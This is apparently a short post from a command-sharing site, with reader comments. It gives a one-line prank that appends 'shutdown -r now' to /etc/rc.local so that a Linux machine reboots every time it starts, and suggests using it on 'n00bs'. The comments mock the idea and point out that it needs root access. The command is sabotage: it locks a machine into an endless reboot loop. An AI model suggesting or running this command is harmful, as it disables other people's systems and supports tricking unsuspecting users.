Reboot Loop

echo "shutdown -r now" >> /etc/rc.local
It's reboot the machine when the machin is started :) is funny for use with n00bs

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By: fmdlc
2009-02-11 05:10:32
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joke?
mrbyte · 792 weeks ago
Anybody who uses the spelling "n00bs" doesn't deserve to be let lose on a UNIX-like in any case.
Vulpine · 791 weeks and 6 days ago
this command won't work unless you are root - not even sudo will help with that ``>>'' re-direct in there :P
asmoore82 · 789 weeks and 2 days ago

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